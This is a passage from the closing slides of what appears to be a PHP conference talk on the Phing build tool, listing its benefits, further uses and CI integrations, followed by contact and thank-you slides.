</project>  
  • 95. Benefits • Everyone executes the processes the same • Including automated CI tools • Once a new “target” is defined, it’s available
  • 96. There’s more with phing • auto upgrade databases • warming up caches • deploy over multiple nodes • collect statistics • perform benchmark/performance tests • …
  • 97. Easy CI integration • Jenkins CI • JetBrains TeamCity • Atlassian Bamboo • ContinuousPHP
  • 98.
  • 99.
  • 100.
  • 101.
  • 103. Contact us in it2PROFESSIONAL PHP SERVICES Michelangelo van Dam michelangelo@in2it.be ! www.in2it.be PHP Consulting - Training - QA
  • 105. Thank you Have a great conference http://www.flickr.com/photos/drewm/3191872515